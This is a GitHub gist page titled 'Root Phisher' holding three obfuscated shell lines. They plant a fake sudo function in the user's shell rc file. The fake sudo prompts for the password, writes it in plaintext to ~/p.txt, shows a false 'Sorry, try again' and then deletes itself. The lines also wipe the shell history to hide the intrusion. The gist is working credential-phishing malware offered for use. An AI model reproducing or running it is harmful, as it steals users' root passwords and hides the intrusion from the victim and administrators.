Instantly share code, notes, and snippets.

Embed
What would you like to do?
Root Phisher 3 line shell commands
a=$HISTFILE;unset HISTFILE
h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e -n \$p>\$HOME/p.txt;$u p;$e;sleep 2;$e \"Sorry, try again.\";$r -k \$@;fi;};$t(){ $r \$@;}">>$s
sed -i -n /HISTFILE/\!p $a;history -c;exit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment